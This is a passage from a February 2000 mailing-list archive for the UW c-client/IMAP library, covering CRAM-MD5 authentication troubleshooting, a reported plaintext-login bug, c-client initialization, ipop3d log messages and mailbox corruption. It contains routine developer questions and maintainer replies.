invoked by uid 3995); 15 Feb 2000 16:08:37 -0000 Message-Id: <14505.31237.308835.59217@sws5.ctd.ornl.gov> Date: Tue, 15 Feb 2000 11:08:37 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: Re: CRAM-MD5 In-Reply-To: References: <14504.15599.499681.464513@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M wrote: >Perhaps because NFS is an extremely bad idea; it creates enormous problems and >at best you'll only ever be able to get it to work in a half-hearted way. I consider this an opportunity to either verify or refute the conventional wisdom. >Maildir does not (can not) work well with IMAP. Undoubtably, you're making >completely false assumptions about IMAP loads based upon how (poorly) maildir >works. I'm not making any assumptions whatsoever. I'm trying to set up a testbed so I can determine first-hand what what works and what doesn't. >> Did it work in imap 4.5, or only in the latest version? > >If it wasn't already obvious, I don't know. Confirmed: the 4.5 CRAM-MD5 doesn't work right under Solaris 7, GCC 2.8.1. I used the c-client/auth_md5.c from 4.7a and it worked fine. >> If 4.5 CRAM-MD5 never worked, then I'm wasting my >> time. > >Excuse me? I understand your not wanting to waste your time, but what about >wasting the time of everyone else? Nobody was compelled to "waste" their time answering my questions. I came here hoping someone could tell me if the md5 in 4.5 should have worked, and if so, how to debug it. I wasn't asking anyone to do the work for me, I just didn't want to spend a lot of time diddling with it unnecessarily. I certainly didn't intend to argue the pros and cons of NFS and maildir, any more than I expected to defend my use of qmail, Solaris, and GCC. >In the time that we've spent arguing about this, you could have brought up a >4.7a server temporarily to see if CRAM-MD5 works. You probably could have >gotten maildir working in 4.7a. Please consider one or the other of these >steps. And instead of arguing that maildir and NFS are bad and unnecessary, you could have said right off the bat that you didn't know if the md5 in 4.5 worked. Anyway, my immediate problem is solved. Thanks for your help. -Dave From pinedev@shivax2.cac.washington.edu Tue Feb 15 11:48:48 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2000 11:48:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA02596 for ; Tue, 15 Feb 2000 11:48:47 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA17183; Tue, 15 Feb 2000 11:48:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA15240; Tue, 15 Feb 2000 11:45:15 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA39190 for ; Tue, 15 Feb 2000 11:40:21 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id LAA15683 for ; Tue, 15 Feb 2000 11:40:21 -0800 Received: (qmail 1404495 invoked by uid 3995); 15 Feb 2000 19:40:34 -0000 Message-Id: <14505.43953.906425.754110@sws5.ctd.ornl.gov> Date: Tue, 15 Feb 2000 14:40:33 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: PASSWDTYPE=nul allows "login" authentication MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2000 13:42:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA05618 for ; Tue, 15 Feb 2000 13:42:38 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA27303; Tue, 15 Feb 2000 13:42:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA11263; Tue, 15 Feb 2000 13:39:29 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA46096 for ; Tue, 15 Feb 2000 13:37:14 -0800 Received: from fb01.eng00.mindspring.net (fb01.eng00.mindspring.net [207.69.229.19]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA18441 for ; Tue, 15 Feb 2000 13:37:13 -0800 Received: from mindspring.com (user-33qt0ie.dialup.mindspring.com [199.174.130.78]) by fb01.eng00.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA15114 for ; Tue, 15 Feb 2000 16:36:45 -0500 (EST) Message-Id: <38A9C702.94BFB225@mindspring.com> Date: Tue, 15 Feb 2000 15:37:06 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: c-client@u.washington.edu Subject: c-client initialization MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is is necessary to initialize c-client using either env_init() or myusername_full()? It appears that env_init() sets paths which could be set with equivalent mail_parameters() calls and myusername_full() is a convenience routine to get the user name of the process. I'm not suggesting these functions aren't useful, just wondering when the need to be used. I intend to "relocate" c-client at run-time using mail_parameters(), so do I need to call env_init(). Also, if I have no use for the user name, do I need to call myusername_full()? Thanks, John-Paul Robinson -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 15 13:58:36 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2000 13:58:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA03943 for ; Tue, 15 Feb 2000 13:58:34 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA21221; Tue, 15 Feb 2000 13:58:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA00553; Tue, 15 Feb 2000 13:54:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA45454 for ; Tue, 15 Feb 2000 13:51:38 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11546 for ; Tue, 15 Feb 2000 13:51:37 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA25031; Tue, 15 Feb 2000 13:51:37 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (btik@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA24183; Tue, 15 Feb 2000 13:51:37 -0800 Message-Id: Date: Tue, 15 Feb 2000 13:44:40 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: c-client@u.washington.edu Subject: re: c-client initialization In-Reply-To: <38A9C702.94BFB225@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Feb 2000 15:37:06 -0600, John-Paul Robinson wrote: > Is is necessary to initialize c-client using either env_init() or > myusername_full()? Or by myhomedir(), or sysinbox(), or any of the other routines that lead to env_init()... The basic answer is "yes". myusername() or myusername_full() is generally the one that most people use rather than calling env_init() directly. > It appears that env_init() sets paths which could be > set with equivalent mail_parameters() calls Yes, but you should call env_init() before doing any of these calls(). > just wondering when the need > to be used. env_init() does quite a lot of initialization, and needs to be called one way or another before any other use.. > I intend to "relocate" c-client at run-time using mail_parameters(), so > do I need to call env_init(). Also, if I have no use for the user name, > do I need to call myusername_full()? I think that I've answered this, but to reiterate just in case: env_init() must be called at the startup of your application. Prior to the call, c-client is in a state used only by unlogged-in imapd and ipop[23]d, and is not otherwise supported. Note that this state is also that used by root; I do not support general use of c-client by UID 0. The easiest way to do the required env_init() is with myusername(). Even a (void) myusername (); is good enough. From pinedev@shivax2.cac.washington.edu Tue Feb 15 16:00:07 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2000 16:00:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA04607 for ; Tue, 15 Feb 2000 16:00:05 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA32095; Tue, 15 Feb 2000 16:00:03 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA19879; Tue, 15 Feb 2000 15:58:48 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA38568 for ; Tue, 15 Feb 2000 15:53:50 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA12410 for ; Tue, 15 Feb 2000 15:53:45 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA12542; Tue, 15 Feb 2000 15:53:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (kkt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA32222; Tue, 15 Feb 2000 15:53:45 -0800 Message-Id: Date: Tue, 15 Feb 2000 15:51:02 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Sill Cc: c-client@u.washington.edu Subject: re: PASSWDTYPE=nul allows "login" authentication In-Reply-To: <14505.43953.906425.754110@sws5.ctd.ornl.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Feb 2000 14:40:33 -0500 (EST), Dave Sill wrote: > Did: > make clean > make gso PASSWDTYPE=nul > > imapd allows "login" authentication, which, according to docs/md5.txt, > it shouldn't. It is a known problem in imap-4.[] that there is continued availability of plaintext authentication in spite of PASSWDTYPE=nul when an CRAM-MD5 password database exists. This problem was not discovered until after the release of imap-4.7a. It will be fixed in imap-2000. From pinedev@shivax2.cac.washington.edu Wed Feb 16 10:33:48 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Feb 2000 10:33:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA29749 for ; Wed, 16 Feb 2000 10:33:47 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14488; Wed, 16 Feb 2000 10:33:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA06626; Wed, 16 Feb 2000 10:32:15 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA51496 for ; Wed, 16 Feb 2000 10:28:42 -0800 Received: from inky. (inky.its.yale.edu [130.132.101.209]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id KAA18551 for ; Wed, 16 Feb 2000 10:28:41 -0800 Received: from localhost by inky. (SMI-8.6/SMI-SVR4) id NAA19836; Wed, 16 Feb 2000 13:28:29 -0500 Message-Id: Date: Wed, 16 Feb 2000 13:28:29 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Moncef To: c-client@u.washington.edu Subject: ipopd3 error message MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi - we're running ipopd3d on some mail servers. And last night, the number of ipop3d processes went very high (up to 700 running at the same time), which is unusual. When checking /var/log/syslog, I found hundreds of error messages looking like this one: "Feb 16 00:49:03 pantheon-po04 ipop3d[2535]: No such file or directory while reading line user=USERNAME host=HOSTNAME [HOST IP]" USERNAME, HOSTNAME and HOST IP were all different and valid. Any clue about what this message means? Thanks. --Moncef -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 16 10:52:32 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Feb 2000 10:52:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA24459 for ; Wed, 16 Feb 2000 10:52:30 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA22238; Wed, 16 Feb 2000 10:52:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA27676; Wed, 16 Feb 2000 10:51:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA11314 for ; Wed, 16 Feb 2000 10:49:21 -0800 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA13419 for ; Wed, 16 Feb 2000 10:49:19 -0800 Received: from cvis0.centonline.com (cvis0 [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id NAA13801; Wed, 16 Feb 2000 13:00:08 -0600 Message-Id: Date: Wed, 16 Feb 2000 12:49:40 -0600 (CST) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: Mark Crispin Cc: c-client@u.washington.edu, Dave Sill Subject: re: PASSWDTYPE=nul allows "login" authentication In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Please don't do an IMAP-2000!, do Imap 4.8 or 5.0 instead.. Bill Suetholz > > It will be fixed in imap-2000. > From pinedev@shivax2.cac.washington.edu Wed Feb 16 10:56:44 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Feb 2000 10:56:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA18421 for ; Wed, 16 Feb 2000 10:56:43 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15161; Wed, 16 Feb 2000 10:56:41 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA15948; Wed, 16 Feb 2000 10:54:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA05570 for ; Wed, 16 Feb 2000 10:50:23 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02548 for ; Wed, 16 Feb 2000 10:50:22 -0800 Message-Id: Date: Wed, 16 Feb 2000 10:48:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Moncef Cc: c-client@u.washington.edu Subject: re: ipopd3 error message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 Feb 2000 13:28:29 -0500 (EST), Moncef wrote: > And last night, the number > of ipop3d processes went very high (up to 700 running > at the same time), which is unusual. This indicates either a runaway POP3 client that spawned all those sessions, or a possible denial-of-service attempt. > "Feb 16 00:49:03 pantheon-po04 ipop3d[2535]: No such file or directory > while reading line user=USERNAME host=HOSTNAME [HOST IP]" You have an older version of ipop3d. All this message means is that the POP3 client disconnected the TCP connection without first issuing a POP3 QUIT command. In other words, it's equivalent to a LOGOUT record. From pinedev@shivax2.cac.washington.edu Wed Feb 16 10:58:58 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Feb 2000 10:58:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA29162 for ; Wed, 16 Feb 2000 10:58:57 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA22424; Wed, 16 Feb 2000 10:58:55 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA28120; Wed, 16 Feb 2000 10:56:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA42020 for ; Wed, 16 Feb 2000 10:54:35 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14586 for ; Wed, 16 Feb 2000 10:54:34 -0800 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id SAA29998 for ; Wed, 16 Feb 2000 18:54:32 GMT Message-Id: <200002161854.SAA29998@phy.hw.ac.uk> Date: Wed, 16 Feb 2000 18:54:31 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client@u.washington.edu Subject: Re[3]: some c-client questions / mailbox corruption In-Reply-To: <200002111954.TAA28342@phy.hw.ac.uk> References: ,<200002111954.TAA28342@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg > Haven't had that happen. Are you using the correct access means to g= et data, > > in particular, all the mail_fetch_body(), etc. calls? You must *NOT* > > reference the "PARTTEXT" members of the various structures -- those a= re > > private to c-client! Their usage is driver-specific!! >=20 > I will double check that. Have done so now and do not find any suspicious code. I use mail_fetchbody_full() to get the contents of the individual parts. The problem seems to be always exactly the same: The message content (text) starts immediately after the X-UID: XXX header entry. instead of an empty line to separate the header and body, I find messages like this: [some header lines] X-UID: 1234 beginning of message text on same line as X-UID [...] These messages have been collected from an IMAP server and stored to a unix mailbox folder, using the following bit of code: STRING str; INIT(&str, mail_string, (void *) msg.c_str(), msg.Length()); bool rc =3D ( mail_append( m_MailStream, (char *)m_MailboxPath.c_str(), &str) !=3D 0); Can you see anything wrong in this bit? It's a pity that the c-client mailbxo parsing code doesn't handle corrupted folder contents gracefully. It bombs out from unx_rewrite_new() by calling fatal() rather than just reporting an error and skipping that message. -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 16 13:02:35 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Feb 2000 13:02:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA18272 for ; Wed, 16 Feb 2000 13:02:33 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA19013; Wed, 16 Feb 2000 13:02:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA17321; Wed, 16 Feb 2000 13:00:05 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA42390 for ; Wed, 16 Feb 2000 12:57:13 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (carl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29345 for ; Wed, 16 Feb 2000 12:57:13 -0800 Message-Id: Date: Wed, 16 Feb 2000 12:33:20 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client@u.washington.edu Subject: re: Re[3]: some c-client questions / mailbox corruption In-Reply-To: <200002161854.SAA29998@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 Feb 2000 18:54:31 +0000 (GMT), Karsten Ballueder wrote: > The problem seems to be always exactly the same: The message > content (text) starts immediately after the X-UID: XXX > header entry. instead of an empty line to separate the > header and body, I find messages like this: > > [some header lines] > X-UID: 1234 beginning of > message text on same line as X-UID > [...] I don't see how this could happen. The only code that writes X-UID: is guaranteed to write two newlines after the UID value. > INIT(&str, mail_string, (void *) msg.c_str(), msg.Length()); How did you load msg? Did you try printing out what was in msg before the append? I suspect that the problem is in there, somehow. > > It's a pity that the c-client mailbxo parsing code doesn't > handle corrupted folder contents gracefully. It bombs out > from unx_rewrite_new() by calling fatal() rather than just > reporting an error and skipping that message. Are you claiming that this still happens in imap-4.7a? If so, this is the first that I have heard of it. Perhaps you ought to file a bug report with me with the details of what happened, because otherwise I'm going to keep on thinking that it doesn't happen any more. All fatal() calls issued from c-client represent either a bug in c-client or in the main program. The fatal() calls in the rewrite routine are NOT about corrupted folder contents. They are about corrupted c-client internal data structures. Now, it may be that there are people in this world who prefer software that, when it detects that it has been corrupted internally, nonetheless blithely goes on and continues irreverable writing of user data based upon the corrupted data. I'm not one of those people. In imap-4.6 and imap-4.7, there were certain forms of folder contents corruption that lead to c-client internal corruption, specifically: 1) CRs embedded in the middle of a header line (that is, CR but no LF) 2) bogus headers that used the same field names (Status, X-Status, X-Keywords, X-UID) as the internal header These were bugs, and were fixed as soon as I found out about them. 4.7a has those fixes. Of course, c-client can't save itself from main program mangling of the stack or the heap. That's what I would look for first. From pinedev@shivax2.cac.washington.edu Tue Feb 22 23:17:37 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Feb 2000 23:17:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA05532 for ; Tue, 22 Feb 2000 23:17:36 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA03622; Tue, 22 Feb 2000 23:17:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA06580; Tue, 22 Feb 2000 23:16:27 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA11338 for ; Tue, 22 Feb 2000 23:14:30 -0800 Received: from naiade.in2p3.fr (naiade.in2p3.fr [193.48.94.171]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA25086 for ; Tue, 22 Feb 2000 23:14:28 -0800 Received: from poly.in2p3.fr (naiade [193.48.94.171]) by naiade.in2p3.fr (8.9.3/8.9.3) with ESMTP id IAA05300 for ; Wed, 23 Feb 2000 08:12:52 +0100 Message-Id: <38B38874.ED6036A4@poly.in2p3.fr> Date: Wed, 23 Feb 2000 08:12:52 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frederic Bongat To: c-client@u.washington.edu Subject: connection pb with pine and outlook to imap server MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: bongat@naiade.in2p3.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN helo, I use a Imap Server (WU Imap-4.7) My problem : With pine client , when I left a session whitout working I see this message : [MAIL FOLDER "Server INBOX" CLOSED DUE TO ACCESS ERROR] With outlook, I read this error message (I translated french to english it) : Headers Folder don't finish to download. Imap Server closed a connection. Connection stay too long without working Can you help me ? Original french messages : Le telechargement des en-tetes du dossier 'Boite de reception' n'est pas termine. Votre serveur IMAP a ferme la connexion. Cela peut s'expliquer par une connexion restee trop longtemps inactive. Compte : 'server' Serveur : 'serveur' Protocole : IMAP, reponse serveur : 'Lost mailbox Lock' Port : Securise SSL : non Numero d'erreur : 0x800CCCDD -- ------------------------------------------------------------------ For information about this mailing list, and its archives, 